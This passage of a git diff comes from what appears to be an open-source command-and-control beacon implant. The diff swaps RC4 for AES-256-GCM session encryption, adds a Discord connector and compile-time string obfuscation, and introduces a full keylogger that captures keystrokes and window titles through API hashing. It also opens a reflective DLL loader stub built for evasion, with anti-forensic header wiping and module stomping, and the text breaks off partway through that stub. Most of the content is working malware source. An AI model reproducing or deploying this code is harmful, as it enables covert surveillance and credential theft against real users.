+ unsigned char s0 = state[i], s1 = state[i+1], s2 = state[i+2], s3 = state[i+3];
+ state[i+0] = gf_mul(s0, 2) ^ gf_mul(s1, 3) ^ s2 ^ s3;
+ state[i+1] = s0 ^ gf_mul(s1, 2) ^ gf_mul(s2, 3) ^ s3;
+ state[i+2] = s0 ^ s1 ^ gf_mul(s2, 2) ^ gf_mul(s3, 3);
+ state[i+3] = gf_mul(s0, 3) ^ s1 ^ s2 ^ gf_mul(s3, 2);
+ }
+}
+
+static void aes256_encrypt_block(const unsigned char* roundKeys, const unsigned char* in, unsigned char* out) {
+ unsigned char state[16];
+ memcpy(state, in, 16);
+
+ aes_add_round_key(state, roundKeys);
+
+ for (int r = 1; r < 14; r++) {
+ aes_sub_bytes(state);
+ aes_shift_rows(state);
+ aes_mix_columns(state);
+ aes_add_round_key(state, roundKeys + r * 16);
+ }
+
+ aes_sub_bytes(state);
+ aes_shift_rows(state);
+ aes_add_round_key(state, roundKeys + 14 * 16);
+
+ memcpy(out, state, 16);
+}
+
+// ========== GCM ==========
+
+static void gcm_inc32(unsigned char* ctr) {
+ for (int i = 15; i >= 12; i--) {
+ if (++ctr[i])
+ break;
+ }
+}
+
+static void ghash_mul(unsigned char* x, const unsigned char* h) {
+ unsigned char z[16] = {0};
+ unsigned char v[16];
+ memcpy(v, h, 16);
+
+ for (int i = 0; i < 128; i++) {
+ if (x[i / 8] & (1 << (7 - (i % 8)))) {
+ for (int j = 0; j < 16; j++)
+ z[j] ^= v[j];
+ }
+ unsigned char carry = v[15] & 1;
+ for (int j = 15; j > 0; j--)
+ v[j] = (v[j] >> 1) | (v[j-1] << 7);
+ v[0] >>= 1;
+ if (carry)
+ v[0] ^= 0xe1;
+ }
+ memcpy(x, z, 16);
+}
+
+static void ghash(const unsigned char* h, const unsigned char* aad, int aadLen,
+ const unsigned char* ct, int ctLen, unsigned char* out) {
+ unsigned char x[16] = {0};
+ int i, j;
+
+ for (i = 0; i < aadLen; i += 16) {
+ int blockLen = aadLen - i;
+ if (blockLen > 16) blockLen = 16;
+ for (j = 0; j < blockLen; j++)
+ x[j] ^= aad[i + j];
+ ghash_mul(x, h);
}
- for (i = 0; i < 256; i++) {
- j = (j + S[i] + key[i % keyLength]) % 256;
- temp = S[i];
- S[i] = S[j];
- S[j] = temp;
+ for (i = 0; i < ctLen; i += 16) {
+ int blockLen = ctLen - i;
+ if (blockLen > 16) blockLen = 16;
+ for (j = 0; j < blockLen; j++)
+ x[j] ^= ct[i + j];
+ ghash_mul(x, h);
}
+
+ unsigned char lenBlock[16] = {0};
+ unsigned long long aadBits = (unsigned long long)aadLen * 8;
+ unsigned long long ctBits = (unsigned long long)ctLen * 8;
+ lenBlock[0] = (unsigned char)(aadBits >> 56);
+ lenBlock[1] = (unsigned char)(aadBits >> 48);
+ lenBlock[2] = (unsigned char)(aadBits >> 40);
+ lenBlock[3] = (unsigned char)(aadBits >> 32);
+ lenBlock[4] = (unsigned char)(aadBits >> 24);
+ lenBlock[5] = (unsigned char)(aadBits >> 16);
+ lenBlock[6] = (unsigned char)(aadBits >> 8);
+ lenBlock[7] = (unsigned char)(aadBits);
+ lenBlock[8] = (unsigned char)(ctBits >> 56);
+ lenBlock[9] = (unsigned char)(ctBits >> 48);
+ lenBlock[10] = (unsigned char)(ctBits >> 40);
+ lenBlock[11] = (unsigned char)(ctBits >> 32);
+ lenBlock[12] = (unsigned char)(ctBits >> 24);
+ lenBlock[13] = (unsigned char)(ctBits >> 16);
+ lenBlock[14] = (unsigned char)(ctBits >> 8);
+ lenBlock[15] = (unsigned char)(ctBits);
+
+ for (j = 0; j < 16; j++)
+ x[j] ^= lenBlock[j];
+ ghash_mul(x, h);
+
+ memcpy(out, x, 16);
}
-void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S) {
- int i = 0, j = 0, k;
- unsigned char temp;
+static int aes256_gcm_crypt(
+ const unsigned char* key,
+ const unsigned char* iv, int ivLen,
+ const unsigned char* aad, int aadLen,
+ const unsigned char* in, int inLen,
+ unsigned char* out,
+ unsigned char* tag, int tagLen,
+ int mode)
+{
+ unsigned char roundKeys[240];
+ aes256_key_expand(key, roundKeys);
- for (k = 0; k < dataLength; k++) {
- i = (i + 1) % 256;
- j = (j + S[i]) % 256;
+ unsigned char h[16] = {0};
+ aes256_encrypt_block(roundKeys, h, h);
- temp = S[i];
- S[i] = S[j];
- S[j] = temp;
+ unsigned char j0[16] = {0};
+ if (ivLen == 12) {
+ memcpy(j0, iv, 12);
+ j0[15] = 1;
+ } else {
+ ghash(h, NULL, 0, iv, ivLen, j0);
+ }
+
+ unsigned char ctr[16];
+ memcpy(ctr, j0, 16);
+ gcm_inc32(ctr);
+
+ unsigned char keystreamBlock[16];
+ for (int i = 0; i < inLen; i += 16) {
+ aes256_encrypt_block(roundKeys, ctr, keystreamBlock);
+ gcm_inc32(ctr);
+ int blockLen = inLen - i;
+ if (blockLen > 16) blockLen = 16;
+ for (int j = 0; j < blockLen; j++)
+ out[i + j] = in[i + j] ^ keystreamBlock[j];
+ }
- data[k] ^= S[(S[i] + S[j]) % 256];
+ const unsigned char* ctData = (mode == 0) ? out : in;
+ unsigned char ghashResult[16];
+ ghash(h, aad, aadLen, ctData, inLen, ghashResult);
+
+ unsigned char encJ0[16];
+ aes256_encrypt_block(roundKeys, j0, encJ0);
+
+ unsigned char computedTag[16];
+ for (int i = 0; i < 16; i++)
+ computedTag[i] = ghashResult[i] ^ encJ0[i];
+
+ if (mode == 0) {
+ memcpy(tag, computedTag, tagLen);
+ return 0;
+ } else {
+ unsigned char diff = 0;
+ for (int i = 0; i < tagLen; i++)
+ diff |= tag[i] ^ computedTag[i];
+ return diff ? -1 : 0;
}
}
-void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) {
- unsigned char S[256];
- RC4Init(key, S, keyLength);
- RC4EncryptDecrypt(data, dataLength, S);
+// ========== Public API ==========
+
+unsigned char* EncryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen) {
+ int totalLen = AES_GCM_IV_SIZE + dataLen + AES_GCM_TAG_SIZE;
+ unsigned char* output = (unsigned char*)MemAllocLocal(totalLen);
+ if (!output)
+ return NULL;
+
+ unsigned char* iv = output;
+ for (int i = 0; i < AES_GCM_IV_SIZE; i++)
+ iv[i] = (unsigned char)(GenerateRandom32() & 0xFF);
+
+ unsigned char* ct = output + AES_GCM_IV_SIZE;
+ unsigned char* tag = output + AES_GCM_IV_SIZE + dataLen;
+
+ aes256_gcm_crypt(key, iv, AES_GCM_IV_SIZE, NULL, 0, data, dataLen, ct, tag, AES_GCM_TAG_SIZE, 0);
+
+ *outLen = totalLen;
+ return output;
+}
+
+int DecryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen) {
+ if (dataLen < AES_GCM_OVERHEAD)
+ return -1;
+
+ unsigned char* iv = data;
+ int ctLen = dataLen - AES_GCM_OVERHEAD;
+ unsigned char* ct = data + AES_GCM_IV_SIZE;
+ unsigned char* tag = data + AES_GCM_IV_SIZE + ctLen;
+
+ unsigned char* plain = (unsigned char*)MemAllocLocal(ctLen);
+ if (!plain)
+ return -1;
+
+ int result = aes256_gcm_crypt(key, iv, AES_GCM_IV_SIZE, NULL, 0, ct, ctLen, plain, tag, AES_GCM_TAG_SIZE, 1);
+
+ if (result == 0) {
+ memcpy(data, plain, ctLen);
+ *outLen = ctLen;
+ }
+
+ MemFreeLocal((LPVOID*)&plain, ctLen);
+ return result;
}
-void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) {
- EncryptRC4(data, dataLength, key, keyLength);
-}
\ No newline at end of file
+void CryptAES256Stream(unsigned char* data, int dataLen, unsigned char* key) {
+ unsigned char roundKeys[240];
+ aes256_key_expand(key, roundKeys);
+
+ unsigned char ctr[16] = {0};
+ ctr[15] = 1;
+
+ unsigned char keystreamBlock[16];
+ for (int i = 0; i < dataLen; i += 16) {
+ aes256_encrypt_block(roundKeys, ctr, keystreamBlock);
+ gcm_inc32(ctr);
+ int blockLen = dataLen - i;
+ if (blockLen > 16) blockLen = 16;
+ for (int j = 0; j < blockLen; j++)
+ data[i + j] ^= keystreamBlock[j];
+ }
+}
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h
index 2d2c4bd31..0e8610e78 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h
@@ -1,9 +1,25 @@
#pragma once
-void RC4Init(unsigned char* key, unsigned char* S, int keyLength);
+// ========== AES-256-GCM (session encryption) ==========
+// Key: 32 bytes, IV: 12 bytes (random), Tag: 16 bytes
+// Encrypt output format: [IV(12)] [Ciphertext(dataLen)] [Tag(16)]
+// Total output size = 12 + dataLen + 16 = dataLen + 28
+// Decrypt input format: [IV(12)] [Ciphertext(len-28)] [Tag(16)]
-void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S);
+#define AES_GCM_KEY_SIZE 32
+#define AES_GCM_IV_SIZE 12
+#define AES_GCM_TAG_SIZE 16
+#define AES_GCM_OVERHEAD (AES_GCM_IV_SIZE + AES_GCM_TAG_SIZE)
-void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength);
+// Returns newly allocated buffer (via MemAllocLocal) containing [IV][Ciphertext][Tag].
+// Caller must free with MemFreeLocal. *outLen set to total output size.
+unsigned char* EncryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen);
-void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength);
\ No newline at end of file
+// Decrypts [IV][Ciphertext][Tag] in-place (overwrites input buffer with plaintext).
+// Returns 0 on success, -1 on auth failure. *outLen set to plaintext size.
+int DecryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen);
+
+// AES-256-CTR stream cipher: in-place encrypt/decrypt with zero overhead.
+// Deterministic keystream from key (counter starts at 1).
+// Symmetric: encrypt and decrypt are the same operation.
+void CryptAES256Stream(unsigned char* data, int dataLen, unsigned char* key);
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h
new file mode 100644
index 000000000..e4713ae6d
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h
@@ -0,0 +1,3 @@
+#pragma once
+
+#define DBG(fmt, ...) ((void)0)
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp
new file mode 100644
index 000000000..4248591ad
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp
@@ -0,0 +1,299 @@
+#include "Keylogger.h"
+#include "ApiLoader.h"
+#include "ProcLoader.h"
+#include "ApiDefines.h"
+#include "DebugLog.h"
+#include "Obfuscate.h"
+#include "utils.h"
+#include "WaitMask.h"
+
+// ─── user32 function typedefs ───────────────────────────────────────────────
+
+typedef SHORT (WINAPI *fnGetAsyncKeyState)(int vKey);
+typedef BOOL (WINAPI *fnGetKeyboardState)(PBYTE lpKeyState);
+typedef int (WINAPI *fnToUnicode)(UINT wVirtKey, UINT wScanCode, const BYTE *lpKeyState,
+ LPWSTR pwszBuff, int cchBuff, UINT wFlags);
+typedef UINT (WINAPI *fnMapVirtualKeyW)(UINT uCode, UINT uMapType);
+typedef HWND (WINAPI *fnGetForegroundWindow)(void);
+typedef int (WINAPI *fnGetWindowTextW)(HWND hWnd, LPWSTR lpString, int nMaxCount);
+typedef DWORD (WINAPI *fnGetWindowThreadProcessId)(HWND hWnd, LPDWORD lpdwProcessId);
+
+struct User32Api {
+ fnGetAsyncKeyState GetAsyncKeyState;
+ fnGetKeyboardState GetKeyboardState;
+ fnToUnicode ToUnicode;
+ fnMapVirtualKeyW MapVirtualKeyW;
+ fnGetForegroundWindow GetForegroundWindow;
+ fnGetWindowTextW GetWindowTextW;
+ fnGetWindowThreadProcessId GetWindowThreadProcessId;
+};
+
+// ─── XOR buffer helpers ─────────────────────────────────────────────────────
+
+#define KEYLOG_BUFFER_SIZE 4096
+#define KEYLOG_FLUSH_THRESH 256
+#define XOR_KEY_LEN 16
+#define TITLE_INTERVAL_MS 30000
+
+static void XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen)
+{
+ for (ULONG i = 0; i < len; i++)
+ buf[i] ^= key[i % keyLen];
+}
+
+static BOOL FlushBuffer(BYTE* buf, ULONG* pLen, BYTE* xorKey, HANDLE pipeWrite)
+{
+ if (*pLen == 0)
+ return TRUE;
+
+ // Decrypt in place
+ XorBuffer(buf, *pLen, xorKey, XOR_KEY_LEN);
+
+ // Write cleartext to pipe
+ DWORD written = 0;
+ BOOL ok = ApiWin->WriteFile(pipeWrite, buf, *pLen, &written, NULL);
+
+ // Zero and reset
+ memset(buf, 0, *pLen);
+ *pLen = 0;
+
+ // Rotate XOR key
+ GenerateRandomBytes(xorKey, XOR_KEY_LEN);
+
+ return ok;
+}
+
+static void BufferAppend(BYTE* buf, ULONG* pLen, const BYTE* data, ULONG dataLen,
+ BYTE* xorKey, HANDLE pipeWrite)
+{
+ ULONG remaining = dataLen;
+ const BYTE* src = data;
+
+ while (remaining > 0) {
+ ULONG space = KEYLOG_BUFFER_SIZE - *pLen;
+ ULONG chunk = (remaining < space) ? remaining : space;
+
+ // XOR encrypt into buffer
+ for (ULONG i = 0; i < chunk; i++) {
+ buf[*pLen + i] = src[i] ^ xorKey[(*pLen + i) % XOR_KEY_LEN];
+ }
+ *pLen += chunk;
+ src += chunk;
+ remaining -= chunk;
+
+ // Flush if buffer full or above threshold
+ if (*pLen >= KEYLOG_FLUSH_THRESH) {
+ FlushBuffer(buf, pLen, xorKey, pipeWrite);
+ }
+ }
+}
+
+static void BufferAppendStr(BYTE* buf, ULONG* pLen, const char* str,
+ BYTE* xorKey, HANDLE pipeWrite)
+{
+ BufferAppend(buf, pLen, (const BYTE*)str, StrLenA(str), xorKey, pipeWrite);
+}
+
+// ─── Resolve user32 APIs via PEB walk ───────────────────────────────────────
+
+static BOOL ResolveUser32(User32Api* api)
+{
+ memset(api, 0, sizeof(User32Api));
+
+ // Try PEB walk first (user32 may already be loaded)
+ HMODULE hUser32 = GetModuleAddress(HASH_LIB_USER32);
+ DBG("[keylog] PEB walk user32: %p", hUser32);
+
+ // Fallback: load it
+ if (!hUser32) {
+ auto _u32 = OBF("user32.dll");
+ hUser32 = ApiWin->LoadLibraryA(_u32);
+ DBG("[keylog] LoadLibrary user32: %p", hUser32);
+ }
+
+ if (!hUser32) {
+ DBG("[keylog] FAIL: user32 not found");
+ return FALSE;
+ }
+
+ api->GetAsyncKeyState = (fnGetAsyncKeyState) GetSymbolAddress(hUser32, HASH_FUNC_GETASYNCKEYSTATE);
+ api->GetKeyboardState = (fnGetKeyboardState) GetSymbolAddress(hUser32, HASH_FUNC_GETKEYBOARDSTATE);
+ api->ToUnicode = (fnToUnicode) GetSymbolAddress(hUser32, HASH_FUNC_TOUNICODE);
+ api->MapVirtualKeyW = (fnMapVirtualKeyW) GetSymbolAddress(hUser32, HASH_FUNC_MAPVIRTUALKEYW);
+ api->GetForegroundWindow = (fnGetForegroundWindow) GetSymbolAddress(hUser32, HASH_FUNC_GETFOREGROUNDWINDOW);
+ api->GetWindowTextW = (fnGetWindowTextW) GetSymbolAddress(hUser32, HASH_FUNC_GETWINDOWTEXTW);
+ api->GetWindowThreadProcessId = (fnGetWindowThreadProcessId)GetSymbolAddress(hUser32, HASH_FUNC_GETWINDOWTHREADPROCESSID);
+
+ DBG("[keylog] APIs: AsyncKey=%p KbState=%p ToUni=%p MapVK=%p FgWnd=%p WndTxt=%p",
+ api->GetAsyncKeyState, api->GetKeyboardState, api->ToUnicode,
+ api->MapVirtualKeyW, api->GetForegroundWindow, api->GetWindowTextW);
+
+ // Verify critical APIs
+ if (!api->GetAsyncKeyState || !api->GetKeyboardState || !api->ToUnicode || !api->MapVirtualKeyW) {
+ DBG("[keylog] FAIL: critical API missing");
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+// ─── Process individual key press ───────────────────────────────────────────
+
+static void ProcessKey(User32Api* api, int vk, BYTE* buf, ULONG* pLen,
+ BYTE* xorKey, HANDLE pipeWrite)
+{
+ // Ignore modifier keys
+ if (vk == VK_SHIFT || vk == VK_LSHIFT || vk == VK_RSHIFT ||
+ vk == VK_CONTROL || vk == VK_LCONTROL || vk == VK_RCONTROL ||
+ vk == VK_MENU || vk == VK_LMENU || vk == VK_RMENU ||
+ vk == VK_CAPITAL || vk == VK_NUMLOCK || vk == VK_SCROLL)
+ return;
+
+ // Special keys
+ switch (vk) {
+ case VK_RETURN: BufferAppendStr(buf, pLen, "[RET]\n", xorKey, pipeWrite); return;
+ case VK_BACK: BufferAppendStr(buf, pLen, "[BS]", xorKey, pipeWrite); return;
+ case VK_TAB: BufferAppendStr(buf, pLen, "[TAB]", xorKey, pipeWrite); return;
+ case VK_ESCAPE: BufferAppendStr(buf, pLen, "[ESC]", xorKey, pipeWrite); return;
+ case VK_DELETE: BufferAppendStr(buf, pLen, "[DEL]", xorKey, pipeWrite); return;
+ case VK_LEFT: BufferAppendStr(buf, pLen, "[<]", xorKey, pipeWrite); return;
+ case VK_RIGHT: BufferAppendStr(buf, pLen, "[>]", xorKey, pipeWrite); return;
+ case VK_UP: BufferAppendStr(buf, pLen, "[UP]", xorKey, pipeWrite); return;
+ case VK_DOWN: BufferAppendStr(buf, pLen, "[DN]", xorKey, pipeWrite); return;
+ case VK_SPACE: BufferAppendStr(buf, pLen, " ", xorKey, pipeWrite); return;
+ default: break;
+ }
+
+ // Printable: use GetKeyboardState + ToUnicode
+ BYTE kbState[256];
+ if (!api->GetKeyboardState(kbState))
+ return;
+
+ UINT scanCode = api->MapVirtualKeyW(vk, 0); // MAPVK_VK_TO_VSC
+ WCHAR unicodeBuf[4] = { 0 };
+ int result = api->ToUnicode(vk, scanCode, kbState, unicodeBuf, 4, 0);
+
+ if (result > 0) {
+ // Convert to UTF-8
+ char utf8Buf[16] = { 0 };
+ int utf8Len = ApiWin->WideCharToMultiByte(CP_UTF8, 0, unicodeBuf, result,
+ utf8Buf, sizeof(utf8Buf) - 1, NULL, NULL);
+ if (utf8Len > 0) {
+ BufferAppend(buf, pLen, (BYTE*)utf8Buf, utf8Len, xorKey, pipeWrite);
+ }
+ }
+ // result == 0 or < 0 (dead key): ignore
+}
+
+// ─── Process window title change ────────────────────────────────────────────
+
+static void ProcessWindowTitle(User32Api* api, HWND* pLastHwnd, BYTE* buf, ULONG* pLen,
+ BYTE* xorKey, HANDLE pipeWrite)
+{
+ if (!api->GetForegroundWindow || !api->GetWindowTextW)
+ return;
+
+ HWND fg = api->GetForegroundWindow();
+ if (!fg || fg == *pLastHwnd)
+ return;
+
+ *pLastHwnd = fg;
+
+ // Get PID
+ DWORD pid = 0;
+ if (api->GetWindowThreadProcessId)
+ api->GetWindowThreadProcessId(fg, &pid);
+
+ // Get window title (wide)
+ WCHAR titleW[256] = { 0 };
+ int titleLen = api->GetWindowTextW(fg, titleW, 255);
+ if (titleLen <= 0)
+ return;
+
+ // Convert to UTF-8
+ char titleUtf8[512] = { 0 };
+ int utf8Len = ApiWin->WideCharToMultiByte(CP_UTF8, 0, titleW, titleLen,
+ titleUtf8, sizeof(titleUtf8) - 1, NULL, NULL);
+ if (utf8Len <= 0)
+ return;
+
+ // Format: \n[PID:1234] Window Title\n
+ char header[600] = { 0 };
+ ApiWin->snprintf(header, sizeof(header) - 1, "\n[PID:%lu] ", pid);
+ BufferAppendStr(buf, pLen, header, xorKey, pipeWrite);
+ BufferAppend(buf, pLen, (BYTE*)titleUtf8, utf8Len, xorKey, pipeWrite);
+ BufferAppendStr(buf, pLen, "\n", xorKey, pipeWrite);
+}
+
+// ─── Worker thread entry point ──────────────────────────────────────────────
+
+DWORD WINAPI KeylogWorker(LPVOID lpParam)
+{
+ KeylogConfig* cfg = (KeylogConfig*)lpParam;
+ if (!cfg || !cfg->pipeWrite) {
+ DBG("[keylog] FAIL: invalid config or pipe");
+ return 1;
+ }
+
+ DBG("[keylog] Worker started, pipe=%p, poll=%lu ms", cfg->pipeWrite, cfg->pollIntervalMs);
+
+ // Resolve user32 APIs
+ User32Api u32;
+ if (!ResolveUser32(&u32)) {
+ DBG("[keylog] FAIL: ResolveUser32 failed");
+ memset(&u32, 0, sizeof(u32));
+ return 2;
+ }
+
+ // Allocate encrypted buffer on heap (zeroed)
+ BYTE* buffer = (BYTE*)MemAllocLocal(KEYLOG_BUFFER_SIZE);
+ if (!buffer) {
+ DBG("[keylog] FAIL: buffer alloc failed");
+ memset(&u32, 0, sizeof(u32));
+ return 3;
+ }
+ ULONG bufLen = 0;
+ DBG("[keylog] Polling loop starting...");
+
+ // Generate XOR key
+ BYTE xorKey[XOR_KEY_LEN];
+ GenerateRandomBytes(xorKey, XOR_KEY_LEN);
+
+ // Window title tracking
+ HWND lastHwnd = NULL;
+ ULONG titleCounter = 0;
+ ULONG titleCheckInterval = TITLE_INTERVAL_MS / (cfg->pollIntervalMs ? cfg->pollIntervalMs : 100);
+
+ // Main polling loop
+ while (InterlockedCompareExchange(&cfg->active, 1, 1) == 1) {
+
+ // Poll all virtual keys
+ for (int vk = 0x08; vk <= 0xFE; vk++) {
+ SHORT state = u32.GetAsyncKeyState(vk);
+ if (state & 0x0001) {
+ ProcessKey(&u32, vk, buffer, &bufLen, xorKey, cfg->pipeWrite);
+ }
+ }
+
+ // Periodic window title check
+ titleCounter++;
+ if (titleCounter >= titleCheckInterval) {
+ titleCounter = 0;
+ ProcessWindowTitle(&u32, &lastHwnd, buffer, &bufLen, xorKey, cfg->pipeWrite);
+ }
+
+ // Jittered sleep
+ ULONG sleepMs = cfg->pollIntervalMs + (GenerateRandom32() % 50);
+ mySleep(sleepMs);
+ }
+
+ // Flush remaining data
+ FlushBuffer(buffer, &bufLen, xorKey, cfg->pipeWrite);
+
+ // Cleanup: zero sensitive data
+ memset(xorKey, 0, XOR_KEY_LEN);
+ memset(&u32, 0, sizeof(u32));
+ MemFreeLocal((LPVOID*)&buffer, KEYLOG_BUFFER_SIZE);
+
+ return 0;
+}
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h
new file mode 100644
index 000000000..45513a129
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h
@@ -0,0 +1,11 @@
+#pragma once
+
+#include
+
+struct KeylogConfig {
+ HANDLE pipeWrite;
+ volatile LONG active; // InterlockedExchange for thread-safe stop
+ ULONG pollIntervalMs; // base polling interval (default 100ms)
+};
+
+DWORD WINAPI KeylogWorker(LPVOID lpParam);
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp
index b98f15199..4f8864077 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp
@@ -15,6 +15,8 @@
#include "ConnectorTCP.h"
#elif defined(BEACON_DNS)
#include "ConnectorDNS.h"
+#elif defined(BEACON_DISCORD)
+#include "ConnectorDiscord.h"
#endif
Agent* g_Agent;
@@ -30,6 +32,8 @@ static Connector* CreateConnector()
return new ConnectorTCP();
#elif defined(BEACON_DNS)
return new ConnectorDNS();
+#elif defined(BEACON_DISCORD)
+ return new ConnectorDiscord();
#endif
}
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h
new file mode 100644
index 000000000..3ed6855c2
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h
@@ -0,0 +1,35 @@
+#pragma once
+
+// Compile-time string obfuscation.
+// Strings are XOR-encrypted at compile time and decrypted at first access.
+
+namespace obf {
+
+template
+class String {
+ mutable char data_[N];
+ mutable bool dec_;
+
+public:
+ constexpr String(const char (&str)[N]) : data_{}, dec_(false) {
+ for (unsigned int i = 0; i < N; ++i)
+ data_[i] = str[i] ^ KEY;
+ }
+
+ operator const char*() const {
+ if (!dec_) {
+ for (unsigned int i = 0; i < N; ++i)
+ data_[i] ^= KEY;
+ dec_ = true;
+ }
+ return data_;
+ }
+};
+
+constexpr char keygen(const char* f, int l) {
+ return static_cast((f[0] * 7 + l * 13 + 0x5A) & 0xFF) | 1;
+}
+
+} // namespace obf
+
+#define OBF(str) (obf::String(str))
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp
index b671628ac..f6f5d44c0 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp
@@ -8,7 +8,7 @@ ULONG Djb2A(PUCHAR str)
if (str == NULL)
return 0;
- ULONG hash = 1572;
+ ULONG hash = DJB2_SEED;
int c;
while (c = *str++) {
if (c >= 'A' && c <= 'Z')
@@ -23,7 +23,7 @@ ULONG Djb2W(PWCHAR str)
if (str == NULL)
return 0;
- ULONG hash = 1572;
+ ULONG hash = DJB2_SEED;
int c;
while (c = *str++) {
if (c >= L'A' && c <= L'Z')
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp
index ff65b7db2..2d0961759 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp
@@ -277,6 +277,12 @@ ULONG GenerateRandom32()
return seed;
}
+void GenerateRandomBytes(BYTE* buf, ULONG len)
+{
+ for (ULONG i = 0; i < len; i++)
+ buf[i] = (BYTE)(GenerateRandom32() & 0xFF);
+}
+
BYTE GetGmtOffset()
{
TIME_ZONE_INFORMATION temp;
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h
index 5e446ab0d..3402e6462 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h
@@ -45,6 +45,8 @@ BOOL WriteDataToSocket(SOCKET sock, BYTE* buffer, ULONG bufferSize);
ULONG GenerateRandom32();
+void GenerateRandomBytes(BYTE* buf, ULONG len);
+
BYTE GetGmtOffset();
BOOL IsElevate();
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm b/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm
new file mode 100644
index 000000000..7c614e5ca
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm
@@ -0,0 +1,915 @@
+; ============================================================================
+; stub_rdi.x64.asm — Position-independent reflective PE loader (x86-64)
+;
+; NASM flat binary: nasm -f bin -DDJB2_SEED=... stub_rdi.x64.asm -o stub.x64.bin
+;
+; Prepended to the beacon DLL at build time. After the XOR decoder stub
+; decodes [stub + DLL], execution transfers here.
+;
+; OPSEC:
+; - NtCreateSection(SEC_COMMIT) + NtMapViewOfSection → MEM_MAPPED
+; - Per-section NtProtectVirtualMemory → RX / RW / R (never RWX)
+; - PE headers zeroed post-load (anti-forensics)
+; - No VirtualAlloc / MEM_PRIVATE
+;
+; Optional: -DMODULE_STOMP → LoadLibraryA a sacrificial DLL and overwrite
+; its image, so the beacon runs from MEM_IMAGE backed by a signed file.
+; Falls back to SEC_COMMIT if no candidate DLL is large enough.
+;
+; Compile-time defines (-D):
+; DJB2_SEED, HASH_MOD_NTDLL, HASH_MOD_KERNEL32,
+; HASH_NTCREATESECTION, HASH_NTMAPVIEWOFSECTION,
+; HASH_NTPROTECTVIRTUALMEMORY, HASH_NTCLOSE,
+; HASH_LOADLIBRARYA, HASH_GETPROCADDRESS, HASH_FLUSHINSTRUCTIONCACHE
+; [MODULE_STOMP only] HASH_FREELIBRARY
+; ============================================================================
+
+BITS 64
+ORG 0
+
+; ---------------------------------------------------------------------------
+; PE constants
+; ---------------------------------------------------------------------------
+%define IMAGE_REL_BASED_DIR64 10
+%define IMAGE_REL_BASED_HIGHLOW 3
+
+%define SEC_COMMIT 0x8000000
+%define SECTION_ALL_ACCESS 0xF001F
+%define PAGE_EXECUTE_READWRITE 0x40
+%define PAGE_READWRITE 0x04
+%define PAGE_EXECUTE_READ 0x20
+%define PAGE_READONLY 0x02
+
+%define DLL_PROCESS_ATTACH 1
+
+%define IMAGE_SCN_MEM_EXECUTE 0x20000000
+%define IMAGE_SCN_MEM_WRITE 0x80000000
+
+; ---------------------------------------------------------------------------
+; Stack frame layout (FRAME_SIZE = 0xD8)
+;
+; 8 pushes (64 bytes) + return address (8 bytes) = 72 on stack.
+; 72 + 0xD8 (216) = 288 = 18 * 16 → RSP 16-byte aligned before CALL.
+;
+; [rsp+0x00..0x4F] volatile: shadow space (0x20) + stack args for API calls
+; [rsp+0x50] LOC_LOADLIB LoadLibraryA address
+; [rsp+0x58] LOC_GETPROC GetProcAddress address
